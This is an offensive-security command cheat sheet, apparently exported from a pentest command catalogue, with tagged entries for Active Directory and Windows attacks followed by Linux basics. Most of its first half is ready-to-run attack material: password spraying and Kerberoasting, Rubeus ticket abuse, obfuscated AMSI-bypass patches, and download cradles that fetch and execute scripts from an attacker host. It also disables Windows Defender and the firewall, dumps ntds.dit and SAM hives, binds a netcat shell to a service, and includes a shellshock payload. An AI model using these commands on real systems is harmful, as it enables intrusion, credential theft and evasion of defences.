Reconnxc:445:139smblinux
nxc - enumerate null session
nxc smb <ip> -u '' -p ''
Attacknxc:445:139smblinux
nxc - enumerate password policy
nxc smb <ip> -u <user> -p '<password>' --pass-pol
Reconnxc:445:139smblinux
nxc - enumerate shares
nxc smb <ip> -u <user> -p <password> -d <domain> --shares
Reconnxc:445:139smblinux
nxc - enumerate smb target not signed
nxc smb <ip> --gen-relay-list smb_targets.txt
Reconnxc:445:139smblinux
nxc - enumerate users by bruteforce the RID
nxc smb <ip> -u <user> -p '<password>' --rid-brute
Reconnxc:445:139smblinux
nxc - get file
nxc smb <ip> -u <user> -p <password> --get-file <remote_path|\\Windows\\Temp\\target.txt> <local_file>
Attacknxc:445smblinux
nxc - Kerberoasting
nxc ldap <ip> -u <user> -p '<password>' --kerberoasting kerberoastables.txt --kdcHost <dc_ip>
Reconnxc:389:639ldaplinux
nxc - kerberos auth
nxc smb <ip> --kerberos
Attacknxc:445:139smblinux
nxc - local-auth
nxc smb <ip> -u <user> -p <password> --local-auth
Attacknxc:445:139smblinux
nxc - local-auth with hash
nxc smb <ip> -u <user> -H <hash> --local-auth
Attacknxc:445:139smblinux
nxc - loggout user
nxc smb <ip> -u <user> -p '<password>' -x 'quser' nxc smb <ip> -u <user> -p '<password>' -x 'logoff <id_user>' --no-output
Post-exploitnxc:445:139smblinux
nxc - mssql execute command
nxc mssql <ip> -u <user> -p '<password>' --local-auth -x <cmd|whoami>
Attacknxc:1433mssqllinux
nxc - mssql execute query
nxc mssql <ip> -u <user> -p '<password>' --local-auth -q 'SELECT name FROM master.dbo.sysdatabases;'
Attacknxc:1433mssqllinux
nxc - mssql password spray
nxc mssql <ip> -u <user.txt> -p <password.txt> --no-bruteforce
Attacknxc:1433mssqllinux
nxc - password spray (user=password)
nxc smb <dc-ip> -u <user.txt> -p <password.txt> --no-bruteforce --continue-on-success
Attacknxc:445:139smblinux
nxc - password spray multiple test
nxc smb <dc-ip> -u <user.txt> -p <password.txt> --continue-on-success
Attacknxc:445smblinux
nxc - put file
nxc smb <ip> -u <user> -p <password> --put-file <local_file> <remote_path|\\Windows\\Temp\\target.txt>
Attacknxc:445smblinux
nxc - Unconstrained delegation
nxc ldap <ip> -u <user> -p '<password>' --trusted-for-delegation
Reconnxc:389:639ldaplinux
nxc - winrm-auth
nxc winrm <ip> -u <user> -p <password>
Attacknxc:5985:5986winrmlinux
Add GenericAll to target for user
Add-DomainObjectAcl -TargetIdentity <target> -PrincipalIdentity <user> -Rights All
Attackpowerviewwindows
Add user DACL
Add-DomainObjectAcl -TargetIdentity <target> -PrincipalIdentity <current_user> -Rights All
Attackpowerviewwindows
Find all Computer with unconstrained delegation
Get-DomainComputer -Unconstrained
Reconpowerviewwindows
Find all domain user ACL
Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}
Reconpowerviewwindows
Find all groups our current user got access
Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}
Reconpowerviewwindows
Find all users our current user got access
Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}
Reconpowerviewwindows
Find user ACL
Get-ObjectAcl -Identity <user> -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_}
Reconpowerviewwindows
Get all domain trust
Get-DomainTrustMapping
Reconpowerviewwindows
Get all members of a a given group
Get-DomainGroupMember -Identity "<group|Administrators>" -Domain <domain> -Recurse
Reconpowerviewwindows
Get list of kerberoastable users
Get-DomainUser -SPN -Domain <domain> | select name, samaccountname, serviceprincipalname
Reconpowerviewwindows
Get User from SID
ConvertFrom-SID <sid>
Reconpowerviewwindows
load from remote
(new-object system.net.webclient).downloadstring('http://<lhost>/powerview.ps1') | IEX
Reconpowerviewwindows
Set alternative creds to use
$passwd = ConvertTo-SecureString "<password>" -AsPlainText -Force; $creds = New-Object System.Management.Automation.PSCredential ("<domain>\<user>", $passwd)
Reconpowerviewwindows
multirelay attack - all user (previous disable HTTP and SMB in Responder.conf)
multirelay -t <ip> -u ALL
Attackresponderlinux
multirelay attack - user filtered (previous disable HTTP and SMB in Responder.conf)
multirelay -t <ip> -u <user1> <user2>
Attackresponderlinux
responder challenge reset
sed -i 's/Challenge =.*$/Challenge = 1122334455667788/g' /opt/tools/Responder/Responder.conf && cat /opt/tools/Responder/Responder.conf | grep --color=never 'Challenge ='
Utilityresponderlinux
responder challenge set
sed -i 's/Challenge =.*$/Challenge = <challenge>/g' /opt/tools/Responder/Responder.conf && cat /opt/tools/Responder/Responder.conf | grep --color=never 'Challenge ='
Utilityresponderlinux
responder http off
sed -i 's/HTTP = On/HTTP = Off/g' /opt/tools/Responder/Responder.conf && cat /opt/tools/Responder/Responder.conf | grep --color=never 'HTTP ='
Utilityresponderlinux
responder http on
sed -i 's/HTTP = Off/HTTP = On/g' /opt/tools/Responder/Responder.conf && cat /opt/tools/Responder/Responder.conf | grep --color=never 'HTTP ='
Utilityresponderlinux
responder launch
responder –I eth0
Attackresponderlinux
responder launch - analyze mode (no poisoning)
responder –I eth0 -A
Reconresponderlinux
responder launch with wpad file
responder -I eth0 --wpad
Attackresponderlinux
responder smb off
sed -i 's/SMB = On/SMB = Off/g' /opt/tools/Responder/Responder.conf && cat /opt/tools/Responder/Responder.conf | grep --color=never 'SMB ='
Utilityresponderlinux
responder smb on
sed -i 's/SMB = Off/SMB = On/g' /opt/tools/Responder/Responder.conf && cat /opt/tools/Responder/Responder.conf | grep --color=never 'SMB ='
Utilityresponderlinux
runfinger - Responder-related utility which will finger a single IP address or an IP subnet and will reveal if a target requires SMB Signing or not.
runfinger -i <network_range>
Reconresponderlinux
rpcclient - enum (Enum commands list)
rpcclient <ip> -U "<user>%<pass>" -c "enum;quit"
Reconrpcclientlinux
rpcclient - enumdomains (Current domain)
rpcclient <ip> -U "<user>%<pass>" -c "enumdomains;quit"
Reconrpcclientlinux
rpcclient - enumdomgroups (Enum Domain groups)
rpcclient <ip> -U "<user>%<pass>" -c "enumdomgroups;quit"
Reconrpcclientlinux
rpcclient - enumdomusers
rpcclient <ip> -U "<user>%<password>" -c "enumdomusers;quit"
Reconrpcclientlinux
rpcclient - get user sid
rpcclient <ip> -c "lookupnales <name>; wmic useraccount get name,sid; quit"
Reconrpcclientlinux
rpcclient - getdompwinfo (password policy)
rpcclient <ip> -U "<user>%<password>" -c "getdompwinfo;quit"
Reconrpcclientlinux
rpcclient - getusrdompwinfo (User password policies)
rpcclient <ip> -U "<user>%<pass>" -c "getusrdompwinfo <RID>;quit"
Reconrpcclientlinux
rpcclient - lookupsid (Local Users Lookup SID)
rpcclient <ip> -U "<user>%<pass>" -c "lookupsid <SID>;quit"
Reconrpcclientlinux
rpcclient - lsaenumsid (Local Users LSA Enum SID)
rpcclient <ip> -U "<user>%<pass>" -c "lsaenumsid;quit"
Reconrpcclientlinux
rpcclient - netshareenum (password policy)
rpcclient <ip> -U "<user>%<password>" -c "netshareenum;quit"
Reconrpcclientlinux
rpcclient - querydominfo
rpcclient <ip> -U "<user>%<password>" -c "querydominfo;quit"
Reconrpcclientlinux
rpcclient - querygroup (Enum Group Information)
rpcclient <ip> -U "<user>%<pass>" -c "querygroup <RID>;quit"
Reconrpcclientlinux
rpcclient - querygroupmem (Enum Group Membership)
rpcclient <ip> -U "<user>%<pass>" -c "querygroupmem <RID>;quit"
Reconrpcclientlinux
rpcclient - queryuser (Enumerate specific User/ computer information by RID)
rpcclient <ip> -U "<user>%<pass>" -c "queryuser <RID>;quit"
Reconrpcclientlinux
rpcclient - setuserinfo2 (Reset AD user password)
rpcclient <ip> -U "<user>%<pass>" -c "setuserinfo2 <LOGIN> 23 '<NEWPASSWORD>';quit"
Exploitrpcclientlinux
rpcclient - srvinfo
rpcclient <ip> -U "<user>%<password>" -c "srvinfo;quit"
Reconrpcclientlinux
Trying all username as password from list of users
for u in `cat <file>`; do echo -n "user: $u " && rpcclient -U "$u%$u" -c "getusername;quit" <ip>; done
Attackrpcclientlinux
ask and inject ticket
.\Rubeus.exe asktgt /user:<user> /domain:<domain_name> /rc4:<ntlm_hash> /ptt
Attackrubeuswindows
ASREPRoast specific user
.\Rubeus.exe asreproast /user:<user> /domain:<domain_name> /format:<AS_REP_response_format> /outfile:<output_hashes_file> .\Rubeus.exe kerberoast /outfile:<output_TGSs_file>
Attackrubeuswindowswindows
dump - will dump any relevant cached TGS ticket’s stored
.\Rubeus.exe dump
Post-exploitrubeuswindows
execute rubeus from powershell
[Rubeus.Program]::MainString("klist");
Utilityrubeuswindows
get hash
.\Rubeus.exe hash /user:<user> /domain:<domain_name> /password:<password>
Post-exploitrubeuswindows
get rc4 of machine with the password
.\Rubeus.exe hash /password:<machine_password>
Post-exploitrubeuswindows
inject ticket from b64 blob
.\Rubeus.exe ptt /ticket:<BASE64BLOBHERE> .\Rubeus.exe asreproast /format:<AS_REP_response_format> /outfile:<output_hashes_file>
Utilityrubeuswindowswindows
Kerberoast AES enabled accounts
.\Rubeus.exe kerberoast /outfile:<output_TGSs_file> /domain:<domain_name> /aes
Attackrubeuswindows
Kerberoast specific user account
.\Rubeus.exe kerberoast /outfile:<output_TGSs_file> /domain:<domain_name> /user:<user> /simple
Attackrubeuswindows
Kerberoasting and outputting on a file with a specific format
.\Rubeus.exe kerberoast /outfile:<output_TGSs_file> /domain:<domain_name>
Attackrubeuswindows
Kerberoasting while being "OPSEC" safe, essentially while not try to roast AES enabled accounts
.\Rubeus.exe kerberoast /outfile:<output_TGSs_file> /domain:<domain_name> /rc4opsec
Attackrubeuswindows
load rubeus from powershell
$data = (New-Object System.Net.WebClient).DownloadData('http://<lhost>/Rubeus.exe');$assem = [System.Reflection.Assembly]::Load($data);
Utilityrubeuswindows
monitor
.\Rubeus.exe monitor /interval:5 /filteruser:<machine_account>
Attackrubeuswindows
Rubeus Reflection assembly
$data = (New-Object System.Net.WebClient).DownloadData('http://<ip>/Rubeus.exe') $assem = [System.Reflection.Assembly]::Load($data) [Rubeus.Program]::Main("<rubeus_cmd>".Split())
Attackrubeuswindows
S4U - Resource based constrained delegation
.\Rubeus.exe s4u /user:<MachineAccountName> /rc4:<RC4HashOfMachineAccountPassword> /impersonateuser:<user_to_impersonate> /msdsspn:cifs/<domain_fqdn> /domain:<domain_name> /ptt
Attackrubeuswindows
S4U - with hash - Constrained delegation
.\Rubeus.exe s4u /user:<user> /rc4:<NTLMhashedPasswordOfTheUser> /impersonateuser:<user_to_impersonate> /msdsspn:ldap/<domain_fqdn> /altservice:cifs /domain:<domain_name> /ptt
Attackrubeuswindows
S4U - with ticket - Constrained delegation
.\Rubeus.exe s4u /ticket:<ticket> /impersonateuser:<user> /msdsspn:ldap/<domain_fqdn> /altservice:cifs /ptt
Attackrubeuswindows
stealty psexec
python3 scshell.py -service-name <service-name|defragsvc> -hashes :<ntlm-hash> <domain>/<user>@<ip>
AttackSCShelllinux

Windows116

Bypass AMSI by patching (work for .NET binaries too)
$ZQCUW = @" using System; using System.Runtime.InteropServices; public class ZQCUW { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); } "@ Add-Type $ZQCUW $BBWHVWQ = [ZQCUW]::LoadLibrary("$([SYstem.Net.wEBUtIlITy]::HTmldecoDE('&#97;&#109;&#115;&#105;&#46;&#100;&#108;&#108;'))") $XPYMWR = [ZQCUW]::GetProcAddress($BBWHVWQ, "$([systeM.neT.webUtility]::HtMldECoDE('&#65;&#109;&#115;&#105;&#83;&#99;&#97;&#110;&#66;&#117;&#102;&#102;&#101;&#114;'))") $p = 0 [ZQCUW]::VirtualProtect($XPYMWR, [uint32]5, 0x40, [ref]$p) $TLML = "0xB8" $PURX = "0x57" $YNWL = "0x00" $RTGX = "0x07" $XVON = "0x80" $WRUD = "0xC3" $KTMJX = [Byte[]] ($TLML,$PURX,$YNWL,$RTGX,+$XVON,+$WRUD)[System.Runtime.InteropServices.Marshal]::Copy($KTMJX, 0, $XPYMWR, 6)
Miscpowershell
Bypass AMSI with _amsiContext_ (powershell only)
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
Miscpowershell
Bypass AMSI with _AmsiInitFailed_ (powershell only)
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*InitFailed") {$f=$e}};$f.SetValue($null,$true)
Miscpowershell
Download cradle
(new-object system.net.webclient).downloadstring('http://<ip>/<script>') | IEX
Miscpowershell
Get domain SID
Get-DomainSID -domain <sid>
Miscpowershell
Get domain trust
Get-DomainTrust -Domain <domain>
Miscpowershell
Get file in trash
Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects -property *
Miscpowershell
Get language mode
$ExecutionContext.SessionState.LanguageMode
Miscpowershell
Get process
Get-Process
Miscpowershell
Get Proxy
[System.Net.WebRequest]::DefaultWebProxy.GetProxy("http://<ip>/<url>")
Miscpowershell
hostrecon
(new-object system.net.webclient).downloadstring('http://<lhost>/HostRecon.ps1') | IEX; Invoke-HostRecon
Miscpowershell
powershell - disable Real Time Monitoring (Windows Defender)
Set-MpPreference -DisableRealtimeMonitoring $true
Miscpowershell
powershell - generate base64 encoded payload download runner
pwsh -Command '$text = "(New-Object System.Net.WebClient).DownloadString(''http://<lhost>/<file>'') | IEX";$bytes = [System.Text.Encoding]::Unicode.GetBytes($text);$EncodedText = [Convert]::ToBase64String($bytes);$EncodedText'
Priv-escpowershelllinux
powershell get proxy address
$proxyAddr=(Get-ItemProperty -Path "HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\").ProxyServer
Miscpowershell
powershell set proxy
[system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy("http://<proxaddress|$proxyAddr>")
Miscpowershell
powershell view assemblies
[appdomain]::currentdomain.getassemblies() | Sort-Object -Property fullname | Format-Table fullname
Miscpowershell
privesccheck
(new-object system.net.webclient).downloadstring('http://<lhost>/PrivescCheck.ps1') | IEX; Invoke-PrivescCheck
Miscpowershell
show forest trust
([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships()
Miscpowershell
Verify application whitelisting
Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe
Miscpowershell
Verify PPL
Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL"
Miscpowershell
whitelisting bypass with installutil
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U <full_path_to_app>
Priv-escwhitelistingwindows
add user
net user <username> <password> /ADD
Persistwindows
add user as admin
net localgroup administrators <username> /add
Persistwindows
add user to domain
net user <username> <password> /ADD /DOMAIN
Persistwindows
Add user to domain admin group
net group "Domain Admins" <username> /add /domain
Miscwindows
Add user to domain admin group - FR
net group "Admins du domaine" <username> /add /domain
Miscwindows
all interfaces
ipconfig /all
Miscwindows
change service
sc config <service> obj= ".\LocalSystem" password= ""
Miscwindows
check current share
net share
Miscwindows
check permission (1)
accesschk.exe /accepteula -dqv "<file>"
Miscwindows
check permission (2)
icacls "<file>"
Miscwindows
check service privilege
accesschk.exe /accepteula -ucqv <service_name>
Miscwindows
create shadow copy
wmic shadowcopy call create Volume='C:\' # gone on Win11 24H2+/Server 2025 -> Get-CimInstance / Invoke-CimMethod
Miscwindows
dns request for DC
nslookup -type=any <userdnsdomain>.
Miscwindows
domain password and lockout policy
net accounts /domain
Miscwindows
dump ntds.dit (Windows <= 2003 server)
net start vss && vssadmin create shadow /for=c: && vssadmin list shadows && copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit C:\temp
Miscwindows
dump ntds.dit (Windows >= 2008 server) - method 1
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
Miscwindows
dump ntds.dit (Windows >= 2008 server) - method 2
esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit
Miscwindows
enable sid history
netdom trust <source_domain> /d:<target_domain> /enablesidhistory:yes
Miscwindows
find AD IP - show domain name and dns
nmcli dev show <interface>
Miscwindows
find passwords
findstr /si 'password' *.txt *.xml *.docx
Miscwindows
find passwords - group policy preference (ms14-025)
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
Miscwindows
find weak file permission
accesschk.exe -uwqs Users <c>:\
Miscwindows
find weak folder permission
accesschk.exe -uwdqs Users <c>:\
Miscwindows
firewall open port RDP
netsh firewall add portopening TCP 3389 "Remote Desktop"
Miscwindows
get architecture
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% # gone on Win11 24H2+/Server 2025 -> Get-CimInstance / Invoke-CimMethod
Miscwindows
get computer domain name (3)
systeminfo | findstr /B /C:"Domain"
Miscwindows
get domain name
echo %USERDOMAIN%
Miscwindows
get domain name (2)
echo %USERDNSDOMAIN%
Miscwindows
get hostname
hostname $env:computername
Miscwindows
get info system
systeminfo
Miscwindows
get info system limited
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
Miscwindows
get mapping of the trust relationships
nltest /domain_trusts
Miscwindows
get name of the DC
echo %logonserver%
Miscwindows
get name of the dc (2)
set logonserver #Get name of the domain controller
Miscwindows
get patches
wmic qfe get Caption,Description,HotFixID,InstalledOn # gone on Win11 24H2+/Server 2025 -> Get-CimInstance / Invoke-CimMethod
Miscwindows
get user domain information
net user <username> /domain
Miscwindows
infos about a user
net user <username>
Reconwindows
infos about password policy
net accounts
Reconwindows
infos on a Administrator and retrieve SID
[wmi] "Win32_userAccount.Domain='<computer_name>',Name='Administrator'"
Miscwindows
List all domain users
net user /domain
Miscwindows
List all PCs of the domain
net view /domain nltest /dclist:<domain>
Miscwindows
list all users
net users
Priv-escwindows
List credentials
cmdkey /list
Post-exploitwindows
list domain admins (fr)
net group "Admins du domaine"
Reconwindowswindows
list hidden files
dir /a:h <path>
Miscwindows
list installed software (1)
dir /a "C:\Program Files"
Miscwindows
list installed software (2)
dir /a "C:\Program Files (x86)"
Miscwindows
list installed software (3)
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Miscwindows
list of computer
net view
Miscwindows
list of computer connected to the domain
net group "domain computers" /domain
Miscwindows
list of computer shares on the domain
net view /all /domain <domain_name>
Miscwindows
list of domain groups
net group /domain
Miscwindows
list of know hosts
arp -a netstat -ano
Miscwindows
list one scheduled task
schtasks /query /fo LIST 2>nul | findstr <taskname>
Miscwindows
list pc accounts of domain controllers
net group "Domain Controllers" /domain
Miscwindows
list process
tasklist /V
Miscwindows
list process and links to started services
tasklist /SVC
Miscwindows
list scheduled tasks
schtasks /query /fo LIST /v
Miscwindows
list services (2)
wmic service list brief # gone on Win11 24H2+/Server 2025 -> Get-CimInstance / Invoke-CimMethod
Miscwindows
list services (3)
sc query
Miscwindows
list shadow copy
vssadmin list shadows
Miscwindows
list share of a computer
net view \\<ip> \ALL
Miscwindows
List users that belongs to the administrators group inside the domain
net localgroup administrators /domain
Miscwindows
List users with domain admin privileges
net group "Domain Admins" /domain
Miscwindows
list windows service started (1)
net start
Miscwindows
mount share locally
net use x: \\<ip>\<share_name>
Miscwindows
nslookup AD - domain
nslookup -type=SRV _ldap._tcp.dc._msdcs.<domain_name>
Miscwindows
print all routes
route print
Miscwindows
reconfigure service
sc config <service> binpath= "C:\nc.exe -nv 127.0.0.1 4444 -e C:\WINDOWS\System32\cmd.exe"
Miscwindows
Recursive list
dir /s /b
Miscwindows
register query extract SAM
reg save HKLM\SAM 'C:\Windows\Temp\sam.save' reg save HKLM\SECURITY 'C:\Windows\Temp\security.save' reg save HKLM\SYSTEM 'C:\Windows\Temp\system.save'
Miscwindows
register query word password (1)
reg query HKLM /f password /t REG_SZ /s
Miscwindows
register query word password (2)
reg query HKCU /f password /t REG_SZ /s
Miscwindows
run as over user
runas /user:<domain>\<user> cmd.exe
Priv-escwindows
show domain group users
net group /domain <domain_group_name>
Miscwindows
show environment - List all environment variables
set
Miscwindows
show firewall config
netsh firewall show config
Miscwindows
show firewall state
netsh firewall show state
Miscwindows
show hosts file
type C:\WINDOWS\System32\drivers\etc\hosts
Miscwindows
show local groups
net localgroup
Reconwindows
show lsa cached credentials value
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
Miscwindows
show mounted disks
wmic logicaldisk get caption,description,providername # gone on Win11 24H2+/Server 2025 -> Get-CimInstance / Invoke-CimMethod
Miscwindows
show recycle bin
dir C:\$Recycle.Bin /s /b
Miscwindows
show specific local group
net localgroup <group_name>
Miscwindows
start service
net start <service>
Miscwindows
turn off firewall
netsh Advfirewall set allprofiles state off
Miscwindows
turn off firewall (2)
netsh firewall set opmode disable
Miscwindows
turn on firewall
netsh Advfirewall set allprofiles state on
Miscwindows
VBS download file script
echo var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);WinHttpReq.Send();WScript.Echo(WinHttpReq.ResponseText); > fu.js && cscript /nologo fu.js <file_url> > <downloaded_file>
Attackwindows
who logged in
qwinsta
Priv-escwindows
whoami - All info about me, take a look at the enabled tokens
whoami /all
Priv-escwindows
whoami privilegied
whoami /priv
Priv-escwindows
windows download file with windows defender
"c:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\mpcmdrun.exe" -DownloadFile -url <url> -path <result_file>
Miscwindows
windows download file with windows defender
mpcmdrun.exe -DownloadFile -url <url> -path <result_file>
Miscwindows
windows eternal blue - smb - ms17-010
msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue"
Miscwindows

Linux101

Edit cron job
crontab -e
Utilitycrontablinux
List cron jobs
crontab -l
Utilitycrontablinux
Extract blowfish hashes
grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt
Miscgrep
Extract Drupal 7
egrep -o '$S$S{52}' *.txt > drupal-7.txt
Miscgrep
Extract emails from file
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" <file>
Miscgrep
Extract HTTP URLS
grep -i http | grep -shoP 'http.*?[" >]' <file> > http-urls.txt
Miscgrep
Extract Joomla hashes
egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt
Miscgrep
Extract md5 hashes ({32})
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt
Miscgrep
Extract md5-apr1
egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt
Miscgrep
Extract old Unix-md5
egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt
Miscgrep
Extract passwords
grep -i "pwd\|passw" <file>
Miscgrep
Extract phpBB3-MD5
egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt
Miscgrep
Extract sha1 ({40})
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{40}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{40}' > sha1-hashes.txt
Miscgrep
Extract sha256({64})
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{64}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{64}' > sha256-hashes.txt
Miscgrep
Extract sha512({128})
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{128}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{128}' > sha512-hashes.txt
Miscgrep
Extract sha512crypt, SHA512(Unix)
egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt
Utilitygreplinux
Extract users
grep -i "user\|invalid\|authentication\|login" <file>
Miscgrep
Extract valid IP addresses
grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" <file>
Miscgrep
Extract valid MySQL-Old hashes
grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt
Miscgrep
Extract VBulletin hashes
egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt
Miscgrep
Extract Wordpress-MD5
egrep -o '$P$S{31}' *.txt > wordpress-md5.txt
Miscgrep
grep classic
grep <word> <file>
Miscgrep
grep recursive on extension
grep -rn --include "*.<extension>" <word>
Miscgrep
grep with file found
grep <word> <file> -H
Miscgrep
grep without case
grep -i <word> <file>
Miscgrep
grep word A or B
grep -e "\(<word_A>\|<word_B>\)" <file>
Utilitygreplinux
compile windows PE 32 executable on linux
i686-w64-mingw32-gcc <source.c> -lws2_32 -o <output.exe>
Codei686-w64-mingw32-gcclinux
Access via ssh
<username-remote>@<ip>
Misclinux
Add the amount of lines, words, and characters to file2-txt
cat <file1-txt> | <word-count> | cat > <file2-txt>
Misclinux
Append content from a file to another file
cat <file1-txt> >> <file2-txt>
Misclinux
Change directory
cd <dirname>
Misclinux
Change group
chgrp <group-name-from> <group-name-to>
Misclinux
Copy file
cp <filename> <file-copyname>
Misclinux
Copy file from local to server
scp <file-to-send> <username-remote>@<ip>:<where-to-put>
Misclinux
Copy file from server to local
scp <username-remote>@<ip>:<file-to-send-path> <path-to-recieve>
Misclinux
Copy/Page folder with content
cp -a <old-folder>/ <new-folder>
Misclinux
Create symlink
ln -s <source-dirname> <destination-dirname>
Misclinux
Current processes (also CPS usage)
top or htop
Misclinux
Decrypt file
openssl enc -aes-256-cbc -d -in <sample-encrypted> -out <sample-filename>
Misclinux
Define custom startup screen
sudo nano /etc/motd
Misclinux
Echo variable
echo $<Variable>
Misclinux
Encrypt file
openssl enc -aes-256-cbc -e -in <sample-filename-txt> -out <sample-encrypted-txt>
Misclinux
Escape files with spaces in name like this
<path-to-file>\\\ <name-png>
Misclinux
Exit terminal
exit
Misclinux
Finding Help
apropos directory / apropos search (...)
Misclinux
Get the current hostname
hostname
Misclinux
Get the current path
pwd
Misclinux
Get the current users
users
Misclinux
Go back to previous directory
cd -
Misclinux
Help
help cd / help dir (...)
Misclinux
Kill a running process
killall <Process-name>
Misclinux
List all directory contents sorted by time edited reverse
ls -altr
Misclinux
List all files of type
find . -name *.<txt> -print
Misclinux
List all running processes
ps -A
Misclinux
List directory (wildcard matching)
ls *.<txt>
Misclinux
List directory contents by size
ls -Slrh
Misclinux
Make (empty) directory
mkdir <dirname>
Misclinux
Make (empty) file
touch <filename-txt>
Misclinux
MD5 hash for files
md5sum <filename-txt>
Misclinux
MD5 hash for folders
tar c <folder> | md5sum
Misclinux
Monitor error log (stream as file grows)
tail error.log -f -n 0
Misclinux
Move/Rename file
mv <current-filename-path> <new-filename-path>
Misclinux
Move/Rename file and prompt before overwriting an existing file
mv -i <current-filename> <new-filename>
Misclinux
Re-call last input with sudo
sudo !!
Misclinux
Register variable
export <TESTING>=<Variable-text>
Misclinux
Remove (empty) directory
rmdir <dirname>
Misclinux
Remove directory contents and keep directory
rm -rf *
Misclinux
Remove directory with all contents without prompt
rm -rf <dirname>
Misclinux
Remove file
rm <filename-txt>
Misclinux
Remove symlink
unlink <sample-dirname>
Misclinux
Run a script as background process
<process> &
Misclinux
Save to sorted content to a new file
cat <file1-txt> | sort > <sorted-file1-txt>
Misclinux
Search and replace within file
sed -i s/<original-text>/<new-text>/g <filename-txt>
Misclinux
Search for a filename-(not content!) in the current directory
find <filename-txt>
Misclinux
Search for a string inside all files in the current directory and subdrectories
grep -r <string> *
Misclinux
shellshock
curl -A "() { ignored; }; echo Content-Type: text/plain ; echo ; echo ; /usr/bin/id" <url>
Misclinux
Show calendar
cal
Misclinux
Show disc space
df -h
Misclinux
Show disc space (inodes)
df -i
Misclinux
Show disc space for current directory
du -hs
Misclinux
show process command
ps -ef | grep apache | grep -v grep
Misclinux
Show running php processes
ps aux | grep php
Misclinux
Show today's date
date
Misclinux
Sort and remove duplicates and save to a new file
sort <file1-txt> | uniq > <uniq-file1-txt>
Misclinux
Sort the content of a file (like cat)
sort <hello-txt>
Misclinux
Start application
xdg-open <programme>
Misclinux
Unset variable
unset <Variable>
Misclinux
Update symlink
ln -sfn <source-dirname> <destination-dirname>
Misclinux
Write to file
echo <Hello> > <hello-txt>
Misclinux
Write to file (will overwrite existing content)
cat > <filename-txt>
Misclinux
convert JSON to YAML
